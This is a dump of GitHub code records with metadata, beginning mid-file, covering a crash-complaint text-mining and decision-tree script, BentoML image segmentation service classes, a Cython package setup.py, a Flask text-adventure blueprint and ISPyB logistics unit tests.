'T1':[0,(-1e+8,1e+8),[0,0]],\n    'T2':[0,(-1e+8,1e+8),[0,0]],\n    'T3':[0,(-1e+8,1e+8),[0,0]],\n    'T4':[0,(-1e+8,1e+8),[0,0]],\n    'T5':[0,(-1e+8,1e+8),[0,0]],\n    'T6':[0,(-1e+8,1e+8),[0,0]],\n    'T7':[0,(-1e+8,1e+8),[0,0]]}\n\n\ntarget   = 'crash'\n# Drop data with missing values for target \ndrops= []\nfor i in range(df.shape[0]):\n    if pd.isnull(df['crash'][i]):\n        drops.append(i)\ndf = df.drop(drops)\ndf = df.reset_index()\n\nencoding = 'one-hot' \nscale    = None # Interval scaling:  Use 'std', 'robust' or None\n# drop=False - do not drop last category - used for Decision Trees\nrie = ReplaceImputeEncode(data_map=attribute_map, nominal_encoding=encoding, \\\n                          interval_scale = scale, drop=False, display=True)\nencoded_df = rie.fit_transform(df)\nvarlist = [target, 'T1', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7']\nX = encoded_df.drop(varlist, axis=1)\ny = encoded_df[target]\nnp_y = np.ravel(y) #convert dataframe column to flat array\ncol  = rie.col\nfor i in range(len(varlist)):\n    col.remove(varlist[i])\n\n\nmaxdep_list=[4,5,6,7,8,9]\nscore_list = ['accuracy', 'recall', 'precision', 'f1']\n\nfor maxdep in maxdep_list:\n    dtc = DecisionTreeClassifier(criterion='gini', max_depth=maxdep)\n    dtc = dtc.fit(X,y)\n    mean_score = []\n    std_score = []\n    print(\"Max depth : %s\" % maxdep)\n    #print(\"{:.<13s}{:>6s}{:>13s}\".format(\"Metric\", \"Mean\", \"Std. Dev.\"))\n    for s in score_list:\n        dtc_10 = cross_val_score(dtc, X, y, scoring=s, cv=10)\n        mean = dtc_10.mean()\n        std = dtc_10.std()\n        mean_score.append(mean)\n        std_score.append(std)\n        print(\"{:.<13s}{:>7.4f}{:>10.4f}\".format(s, mean, std))\n                \nprint(\"Splitting the dataset and comparing Training and Validation:\")\nX_train, X_validate, y_train, y_validate = \\\n            train_test_split(X,y,test_size = 0.3, random_state=7)\n#Fitting a tree with the best depth using the training data\ndtc1 = DecisionTreeClassifier(criterion='entropy', max_depth=9)\ndtc1 = dtc1.fit(X_train,y_train)\nfeatures = list(X)\nDecisionTree.display_importance(dtc1, features)\nDecisionTree.display_binary_metrics(dtc1, X_validate, y_validate)\n\n\n\n\n\n\n#df_senti=pd.DataFrame(sentiment_score)\n#df2=df.join(df_senti)\nprint(\"\\nAverageSentiment by Cluster:\")\n#df2.columns=['url', 'Article', 'topic', 'T1', 'T2', 'T3', 'T4', 'T5', 'senti']\ndf2=df.drop(['NhtsaID','T1','T2','T3','T4','T5','T6','mileage','T7','mph','Year',\\\n             'index'],axis=1)\ndf3=df2.groupby(['topic']).mean()\nprint(df3)\n\n\n## WORD CLOUDS\nprint(\"***************************************************************\")\nprint(\"WordClouds........\")\n\n\nstopw = set(STOPWORDS)\n\ndef shades_of_grey(word, font_size, position, orientation, random_state=None, \\\n**kwargs):\n    return \"hsl(0, 0%%, %d%%)\" % random.randint(60,1000)\n#circle_mask = np.array(Image.open(\"CircleMask.png\"))\n\n## ALL WORDS IN REVIEW - ALL SENTIMENT WORDS IN REVIEW:\n    \nwrd=\" \".join(pd.Series(df2['description']).astype(str))\n\ndef shades_of_grey(word, font_size, position, orientation, random_state=None, \\\n**kwargs):\n    return \"hsl(0, 0%%, %d%%)\" % random.randint(60,1000)\n\nwcm1 = WordCloud(background_color=\"grey\", max_words=200, stopwords=stopw, collocations=False,  \\\nrandom_state=341)\nwcm1.generate(wrd)\n\nplt.imshow(wcm1.recolor(color_func=shades_of_grey, random_state=1), \\\ninterpolation=\"bilinear\")\nplt.axis(\"off\")\nplt.figure()\n\n\n## MOST POSITIVE REVIEW CLUSTER : 5, ALL WORDS AND ALL SENTIMENT WORDS\nprint(\"\\nThe most cluster number with most positive sentiment is:\\n\")\npos_cluster=df3['sentiment'].idxmax()\nprint(pos_cluster)\n\ndf4=df2[df2['topic']==pos_cluster]\n\nwrd=\" \".join(pd.Series(df4['description']).astype(str))\n\ndef shades_of_grey(word, font_size, position, orientation, random_state=None, \\\n**kwargs):\n    return \"hsl(0, 0%%, %d%%)\" % random.randint(60,1000)\n\nwcm1 = WordCloud(background_color=\"green\", max_words=200, stopwords=stopw, collocations=False, \\\nrandom_state=341)\nwcm1.generate(wrd)\n\nplt.imshow(wcm1.recolor(color_func=shades_of_grey, random_state=1), \\\ninterpolation=\"bilinear\")\nplt.axis(\"off\")\nplt.figure()\n\n\n## MOST NEGATIVE CLUSTER : 1, ALL WORDS AND ALL SENTIMENT WORDS\nprint(\"\\nThe most cluster number with least positive sentiment is:\\n\")\nneg_cluster=df3['sentiment'].idxmin()\nprint(df3['sentiment'].idxmin())\n\ndf5=df2[df2['topic']==neg_cluster]\n\nwrd=\" \".join(pd.Series(df5['description']).astype(str))\n\ndef shades_of_grey(word, font_size, position, orientation, random_state=None,\\\n**kwargs):\n    return \"hsl(0, 0%%, %d%%)\" % random.randint(60,1000)\n\nwcm1 = WordCloud(background_color=\"red\", max_words=200, stopwords=stopw, collocations=False,  \\\nrandom_state=341)\nwcm1.generate(wrd)\n\nplt.imshow(wcm1.recolor(color_func=shades_of_grey, random_state=1), \\\ninterpolation=\"bilinear\")\nplt.axis(\"off\")\nplt.figure()\n\nprint(\"WordCloud........END\")\nprint(\"***************************************************************\")\n", "repo_name": "dineshkn/Machine-Learning", "sub_path": "Sentiment-Analysis.py", "file_name": "Sentiment-Analysis.py", "file_ext": "py", "file_size_in_byte": 19426, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "nltk.tokenize.word_tokenize", "line_number": 54, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 70, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 70, "usage_type": "name"}, {"api_name": "nltk.pos_tag", "line_number": 78, "usage_type": "call"}, {"api_name": "nltk.stem.snowball.SnowballStemmer", "line_number": 80, "usage_type": "call"}, {"api_name": "nltk.corpus.wordnet.NOUN", "line_number": 81, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 81, "usage_type": "name"}, {"api_name": "nltk.corpus.wordnet.ADJ", "line_number": 81, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet.VERB", "line_number": 81, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet.ADV", "line_number": 81, "usage_type": "attribute"}, {"api_name": "nltk.stem.WordNetLemmatizer", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.nditer", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.nditer", "line_number": 158, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 170, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 173, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 189, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfTransformer", "line_number": 216, "usage_type": "call"}, {"api_name": "sklearn.decomposition.LatentDirichletAllocation", "line_number": 236, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 264, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 264, "usage_type": "attribute"}, {"api_name": "pandas.read_excel", "line_number": 278, "usage_type": "call"}, {"api_name": "numpy.nditer", "line_number": 305, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 339, "usage_type": "call"}, {"api_name": "numpy.nditer", "line_number": 380, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 425, "usage_type": "call"}, {"api_name": "Class_replace_impute_encode.ReplaceImputeEncode", "line_number": 433, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 439, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 449, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 456, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 465, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 467, "usage_type": "call"}, {"api_name": "Class_tree.DecisionTree.display_importance", "line_number": 470, "usage_type": "call"}, {"api_name": "Class_tree.DecisionTree", "line_number": 470, "usage_type": "name"}, {"api_name": "Class_tree.DecisionTree.display_binary_metrics", "line_number": 471, "usage_type": "call"}, {"api_name": "Class_tree.DecisionTree", "line_number": 471, "usage_type": "name"}, {"api_name": "wordcloud.STOPWORDS", "line_number": 493, "usage_type": "argument"}, {"api_name": "random.randint", "line_number": 497, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 502, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 506, "usage_type": "call"}, {"api_name": "wordcloud.WordCloud", "line_number": 508, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 512, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 512, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 514, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 514, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 515, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 515, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 525, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 529, "usage_type": "call"}, {"api_name": "wordcloud.WordCloud", "line_number": 531, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 535, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 535, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 537, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 537, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 538, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 538, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 548, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 552, "usage_type": "call"}, {"api_name": "wordcloud.WordCloud", "line_number": 554, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 558, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 558, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 560, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 560, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 561, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 561, "usage_type": "name"}]}
{"seq_id": "21526579143", "text": "from __future__ import annotations\nimport numpy as np\nimport bentoml\nfrom bentoml.io import Text, NumpyNdarray\nfrom typing import List\n\n\nclass CustomRunnable(bentoml.Runnable):\n    '''\n    BentoML, Runner represents a unit of computation that can be executed on a remote Python worker and scales independently.\n    CustomRunnable is a custom runner defined to meet all the requirements needed for this project.\n    '''\n    SUPPORTED_RESOURCES = (\"cpu\",) #TODO add here?\n    SUPPORTS_CPU_MULTI_THREADING = False\n\n    def __init__(self, model, save_model_path):\n        \"\"\"Constructs all the necessary attributes for the CustomRunnable.\n\n        :param model: model to be trained or evaluated\n        :param save_model_path: full path of the model object that it will be saved into\n        :type save_model_path: str\n        \"\"\"        \n        \n        self.model = model\n        self.save_model_path = save_model_path\n\n    @bentoml.Runnable.method(batchable=False)\n    def evaluate(self, img: np.ndarray, **eval_config) -> np.ndarray:\n        \"\"\"Evaluate the model - find mask of the given image\n\n        :param img: image to evaluate on\n        :type img: np.ndarray\n        :param z_axis: z dimension (optional, default is None)\n        :type z_axis: int\n        :return: mask of the image, list of 2D arrays, or single 3D array (if do_3D=True) labelled image.\n        :rtype: np.ndarray\n        \"\"\"              \n\n        mask = self.model.eval(img=img, **eval_config)\n\n        return mask\n\n    @bentoml.Runnable.method(batchable=False)\n    def train(self, imgs: List[np.ndarray], masks: List[np.ndarray]) -> str:\n        \"\"\"Trains the given model\n\n        :param imgs: images to train on (training data)\n        :type imgs: List[np.ndarray]\n        :param masks: masks of the given images (training labels)\n        :type masks: List[np.ndarray]\n        :return: path of the saved model\n        :rtype: str\n        \"\"\"        \n\n        self.model.train(imgs, masks)\n\n        # Save the bentoml model\n        bentoml.picklable_model.save_model(self.save_model_path, self.model) \n\n        return self.save_model_path\n    \n\nclass CustomBentoService():\n    \"\"\"BentoML Service class. Contains all the functions necessary to serve the service with BentoML\n    \"\"\"    \n    def __init__(self, runner, segmentation, service_name):\n        \"\"\"Constructs all the necessary attributes for the class CustomBentoService():\n\n        :param runner: runner used in the service\n        :type runner: CustomRunnable class object\n        :param segmentation: segmentation type used in the service\n        :type segmentation: segmentation class object from the segmentationclasses.py\n        :param service_name: name of the service \n        :type service_name: str\n        \"\"\"        \n        self.runner = runner\n        self.segmentation = segmentation\n        self.service_name = service_name\n\n    def start_service(self):\n        \"\"\"Starts the service\n\n        :return: service object needed in service.py and for the bentoml serve call.\n        \"\"\"        \n        svc = bentoml.Service(self.service_name, runners=[self.runner])\n\n        @svc.api(input=Text(), output=NumpyNdarray())  #input path to the image output message with success and the save path\n        async def segment_image(input_path: str):\n            \"\"\"function served within the service, used to segment images\n\n            :param input_path: directory where the images for segmentation are saved\n            :type input_path: str\n            :return: list of files not supported\n            :rtype: ndarray\n            \"\"\"            \n            list_of_images = self.segmentation.imagestorage.search_images(input_path)\n            list_of_files_not_suported = self.segmentation.imagestorage.get_unsupported_files(input_path)\n    \n            if not list_of_images:\n                return np.array(list_of_images)\n            else:\n                await self.segmentation.segment_image(input_path, list_of_images)\n\n            return np.array(list_of_files_not_suported)\n\n        @svc.api(input=Text(), output=Text())\n        async def train(input_path):\n            \"\"\"function served within the service, used to retrain the model\n\n            :param input_path: directory where the images for training are saved\n            :type input_path: str\n            :return: message of success if training went well\n            :rtype: str\n            \"\"\"            \n            print(\"Calling retrain from server.\")\n\n            # Train the model\n            model_path = await self.segmentation.train(input_path)\n\n            msg = \"Success! Trained model saved in: \" + model_path\n\n            return msg\n        \n        return svc\n    \n", "repo_name": "HelmholtzAI-Consultants-Munich/data-centric-platform", "sub_path": "src/server/dcp_server/serviceclasses.py", "file_name": "serviceclasses.py", "file_ext": "py", "file_size_in_byte": 4694, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "bentoml.Runnable", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 28, "usage_type": "attribute"}, {"api_name": "bentoml.Runnable.method", "line_number": 27, "usage_type": "call"}, {"api_name": "bentoml.Runnable", "line_number": 27, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 44, "usage_type": "attribute"}, {"api_name": "bentoml.picklable_model.save_model", "line_number": 58, "usage_type": "call"}, {"api_name": "bentoml.picklable_model", "line_number": 58, "usage_type": "attribute"}, {"api_name": "bentoml.Runnable.method", "line_number": 43, "usage_type": "call"}, {"api_name": "bentoml.Runnable", "line_number": 43, "usage_type": "attribute"}, {"api_name": "bentoml.Service", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 104, "usage_type": "call"}, {"api_name": "bentoml.io.Text", "line_number": 87, "usage_type": "call"}, {"api_name": "bentoml.io.NumpyNdarray", "line_number": 87, "usage_type": "call"}, {"api_name": "bentoml.io.Text", "line_number": 106, "usage_type": "call"}]}
{"seq_id": "12630563706", "text": "import os\n\nimport pip\n\ntry:\n    from Cython.Distutils.build_ext import new_build_ext\nexcept ImportError:\n    pip.main(['install', \"cython\"])\n    from Cython.Distutils.build_ext import new_build_ext\nfrom Cython.Build import cythonize\n\nfrom setuptools import setup, find_packages, Extension\nfrom os import path\n\nthis_directory = path.abspath(path.dirname(__file__))\nwith open(path.join(this_directory, 'README.md'), encoding='utf-8') as f:\n    long_description = f.read()\n\nos.environ[\"CC\"] = \"g++\"\nos.environ[\"CXX\"] = \"g++\"\nextensions = [Extension(\"qpt_generator.qpt_generator\",\n                        sources=[\"qpt_generator/qpt_generator.pyx\"],\n                        language=\"c++\",\n                        extra_compile_args=[\"-std=c++11\"],\n                        extra_link_args=[\"-std=c++11\"])]\n\nsetup(name=\"qpt_generator\",\n      version=\"0.1.6\",\n      description=\"Question Paper Template Generator\",\n      long_description=long_description,\n      long_description_content_type='text/markdown',\n      author=\"Niraj Kamdar\",\n      package_data={\n          'qpt_generator': [\"*.pxd\", \"*.pyx\", \"*.cpp\", \"*.h\"]\n      },\n      packages=find_packages(),\n      cmdclass={'build_ext': new_build_ext},\n      ext_modules=cythonize(extensions, include_path=[\"qpt_generator\"]),\n      license='MIT',\n      url='https://github.com/Niraj-Kamdar/qpt_generator',\n      download_url='https://github.com/Niraj-Kamdar/qpt_generator/archive/master.zip',\n      keywords=['question', 'paper', 'template', 'generator'],\n      classifiers=[\n          'Development Status :: 4 - Beta',\n          # Chose either \"3 - Alpha\", \"4 - Beta\" or \"5 - Production/Stable\" as the current state of your package\n          'Intended Audience :: Developers',\n          'Topic :: Software Development :: Build Tools',\n          \"Natural Language :: English\",\n          \"Operating System :: OS Independent\",\n          'License :: OSI Approved :: MIT License',\n          'Programming Language :: Python :: 3',\n          'Programming Language :: Python :: 3.5',\n          'Programming Language :: Python :: 3.6',\n          'Programming Language :: Python :: 3.7',\n          'Programming Language :: Python :: 3.8',\n      ],\n      )\n", "repo_name": "Niraj-Kamdar/qpt_generator", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 2195, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pip.main", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 20, "usage_type": "attribute"}, {"api_name": "setuptools.Extension", "line_number": 21, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 27, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 36, "usage_type": "call"}, {"api_name": "Cython.Distutils.build_ext.new_build_ext", "line_number": 37, "usage_type": "name"}, {"api_name": "Cython.Build.cythonize", "line_number": 38, "usage_type": "call"}]}
{"seq_id": "8510707569", "text": "#!/usr/bin/python\n\nfrom flask import Blueprint, url_for, render_template, request, escape, session, redirect\nimport db, helpers\n\nsigns = Blueprint('signs', __name__, template_folder='templates')\n\n@signs.route('/future_wisdom', methods=['get','post'])\ndef scholar():\n    render_text = []\n\n    # Redirect Unregistered Users\n    if helpers.check_unreg():\n        return redirect(url_for('io'))\n\n    p_entry = db.query_db('select * from players where p_id = ?', [int(session['p_id'])], one=True)\n\n    # Check, set, redirect if dead\n    if helpers.check_is_dead(p_entry):\n        return redirect(url_for('reaper'))\n\n    time = helpers.calculate_timer(p_entry['p_death_time'])\n\n    if 'lock_scholar' not in session:\n        session['lock_scholar'] = 0\n    if request.method == 'GET':\n            if int(session['lock_scholar']) != 0:\n                render_text.append('Before you could ask the man what he meant, \\\n                    you realised that there was no man to begin with. Just a \\\n                    machine.')\n                response = render_template('profile_POST.html',\n                    render_text=render_text,\n                    render_time=time)\n            else:\n                render_text.append('You encounter an old man at the end of his time. He \\\n                    looks at you with an all knowing smile.')\n                render_text.append('\"You know, I may not look it...\", he begins.')\n                render_text.append('\"...But I remember what it was like to be young. I  \\\n                    remember how serious and hopeless those problems looked as well...\"')\n\n                render_input = 'submit'\n\n                input_fields = ['continue']\n                input_id = 1\n                response = render_template('profile_POST.html',\n                    render_text=render_text,\n                    render_time=time,\n                    render_input=render_input,\n                    input_id=input_id,\n                    input_fields=input_fields)\n\n\n    elif request.method == 'POST':\n        render_text = []\n\n        # Redirect Unregistered Users\n        if helpers.check_unreg():\n            return redirect(url_for('io'))\n\n        p_entry = db.query_db('select * from players where p_id = ?', [int(session['p_id'])], one=True)\n\n        # Check, set, redirect if dead\n        if helpers.check_is_dead(p_entry):\n            return redirect(url_for('reaper'))\n\n        time = helpers.calculate_timer(p_entry['p_death_time'])\n        input_id = int(request.form['input_id'])\n\n        if input_id >= 0 and input_id < 3:\n            if input_id == 1:\n                render_text.append('The old man laughs playfully.')\n                render_text.append('\"Nowadays you young people have such different  \\\n                    problems. Your problems are whether or not people will like you \\\n                    and whether or not you can go on living with meaning... I don\\'t\\\n                    envy you.\"')\n                render_text.append('His eyes sparkle.')\n                render_text.append('\"You should be sceptical of what people think is\\\n                    best for you. After all, when people tell you things that you are,\\\n                    you never actually learn anything new about yourself. Of course,\\\n                    if you weren\\'t trying to deceive yourself that you are something\\\n                    you are not, that would be the case!\"')\n                render_text.append('He winks at you with a childish grin, \"And isn\\'t\\\n                    deceiving ourselves something that we all can bond with in the end?\"')\n\n                render_input = 'submit'\n                input_id = 2\n                input_fields= ['continue']\n                response = render_template('profile_POST.html',\n                    render_text=render_text,\n                    render_time=time,\n                    render_input=render_input,\n                    input_id=input_id,\n                    input_fields=input_fields)\n            elif input_id == 2:\n                render_text.append('You think to yourself for a moment, wondering what he meant...\\\n                    Perhaps he is commenting on some sort of perversion of identity...')\n                render_text.append('Then you think to yourself that maybe it was a perversion\\\n                    of identity, and in actual truth you were not thinking to yourself at all.')\n                render_text.append('Perhaps what you were thinking of was never yours to\\\n                    choose at all. Perhaps you were thinking because you were told you\\\n                    were thinking.')\n\n                session['lock_scholar'] = 1\n\n                response = render_template('profile_POST.html',\n                    render_text=render_text,\n                    render_time=time)\n    return response\n\n", "repo_name": "BraveHelyx/technocrates", "sub_path": "signs.py", "file_name": "signs.py", "file_ext": "py", "file_size_in_byte": 4831, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Blueprint", "line_number": 6, "usage_type": "call"}, {"api_name": "helpers.check_unreg", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 14, "usage_type": "call"}, {"api_name": "db.query_db", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 16, "usage_type": "name"}, {"api_name": "helpers.check_is_dead", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 20, "usage_type": "call"}, {"api_name": "helpers.calculate_timer", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 53, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 53, "usage_type": "name"}, {"api_name": "helpers.check_unreg", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 58, "usage_type": "call"}, {"api_name": "db.query_db", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 60, "usage_type": "name"}, {"api_name": "helpers.check_is_dead", "line_number": 63, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 64, "usage_type": "call"}, {"api_name": "helpers.calculate_timer", "line_number": 66, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 67, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 67, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 103, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 105, "usage_type": "call"}]}
{"seq_id": "37170007837", "text": "import os\nimport sys\nimport logging\nimport logging.handlers\n\nimport unittest\nfrom flask import Flask\nfrom flask_testing import TestCase\nimport json\n\n# We are not a package and the intent is to run this from the parent dir\nsys.path.append('../')\n\n\nimport api.ispyb_api\nfrom api.ispyb_api import db\nfrom api.ispyb_api import models\nfrom api.ispyb_api import controller\nfrom api.dewars.zone6 import rack_locations\nfrom api.dewars.zone4 import rack_locations as zone4_locations\n\nclass MyTest(TestCase):\n    def create_app(self):\n        app = Flask(__name__)\n        app.config['TESTING'] = True\n\n        os.environ['ISPYB_CONFIG_FILE'] = 'tests/test.cfg'\n        os.environ['ISPYB_CONFIG_SECTION'] = 'ispyb_dev'\n\n        self.logger = logging.getLogger('ispyb-logistics')\n\n        api.ispyb_api.init_app(app)\n\n        return app\n\n    def setUp(self):\n        print(\"Setup\")\n        self.facilitycode = 'DLS-MX-1001'\n        self.locations = ['TRAY-1A', 'TRAY-2A', 'TRAY-3A']\n\n    def tearDown(self):\n        print(\"TearDown\")\n        db.session.remove()\n\n    def test_get_dewar_by_facilitycode(self):\n        self.logger.debug(\"Test Get Dewars for facilitycode {}\".format(self.facilitycode))\n        result = controller.get_dewar_by_facilitycode(self.facilitycode)\n        self.logger.debug(result)\n        self.assertIsNotNone(result)\n\n    def test_get_dewars_by_locations(self):\n        self.logger.debug(\"Test Get Dewars for locations {}\".format(','.join(self.locations)))\n        result = controller.find_dewars_by_location(self.locations)\n        self.assertIsNotNone(result)\n\n    def test_get_dewar_history_by_locations(self):\n        self.logger.debug(\"Test Get Dewar History for locations {}\".format(','.join(zone4_locations)))\n        result = controller.find_dewar_history_for_locations(zone4_locations, max_entries=-1, match_locations = False)\n        self.logger.debug(json.dumps(result, indent=4, sort_keys=True))\n        self.assertIsNotNone(result)\n\n    def test_get_dewar_history_by_locations(self):\n        self.logger.debug(\"Test Get Dewar History for locations {}\".format(','.join(zone4_locations)))\n        result = controller.find_recent_storage_history(zone4_locations)\n        self.logger.debug(json.dumps(result, indent=4, sort_keys=True))\n        self.assertIsNotNone(result)\n\n\nif __name__ == \"__main__\":\n    logger = logging.getLogger('ispyb-logistics')\n    handler = logging.StreamHandler(sys.stdout)\n    handler.setFormatter(logging.Formatter(\"%(asctime)s - %(levelname)s - %(message)s\"))\n    logger.addHandler(handler)\n    logger.setLevel(logging.DEBUG)\n    \n    unittest.main()", "repo_name": "DiamondLightSource/flask-ispyb-logistics", "sub_path": "api/tests/test_controller.py", "file_name": "test_controller.py", "file_ext": "py", "file_size_in_byte": 2604, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.append", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask_testing.TestCase", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.Flask", "line_number": 24, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 28, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 30, "usage_type": "call"}, {"api_name": "api.ispyb_api.ispyb_api.init_app", "line_number": 32, "usage_type": "call"}, {"api_name": "api.ispyb_api.ispyb_api", "line_number": 32, "usage_type": "attribute"}, {"api_name": "api.ispyb_api", "line_number": 32, "usage_type": "name"}, {"api_name": "api.ispyb_api.db.session.remove", "line_number": 43, "usage_type": "call"}, {"api_name": "api.ispyb_api.db.session", "line_number": 43, "usage_type": "attribute"}, {"api_name": "api.ispyb_api.db", "line_number": 43, "usage_type": "name"}, {"api_name": "api.ispyb_api.controller.get_dewar_by_facilitycode", "line_number": 47, "usage_type": "call"}, {"api_name": "api.ispyb_api.controller", "line_number": 47, "usage_type": "name"}, {"api_name": "api.ispyb_api.controller.find_dewars_by_location", "line_number": 53, "usage_type": "call"}, {"api_name": "api.ispyb_api.controller", "line_number": 53, "usage_type": "name"}, {"api_name": "api.dewars.zone4.rack_locations", "line_number": 57, "usage_type": "argument"}, {"api_name": "api.ispyb_api.controller.find_dewar_history_for_locations", "line_number": 58, "usage_type": "call"}, {"api_name": "api.dewars.zone4.rack_locations", "line_number": 58, "usage_type": "argument"}, {"api_name": "api.ispyb_api.controller", "line_number": 58, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 59, "usage_type": "call"}, {"api_name": "api.dewars.zone4.rack_locations", "line_number": 63, "usage_type": "argument"}, {"api_name": "api.ispyb_api.controller.find_recent_storage_history", "line_number": 64, "usage_type": "call"}, {"api_name": "api.dewars.zone4.rack_locations", "line_number": 64, "usage_type": "argument"}, {"api_name": "api.ispyb_api.controller", "line_number": 64, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 65, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 70, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 71, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 71, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 72, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 74, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 76, "usage_type": "call"}]}
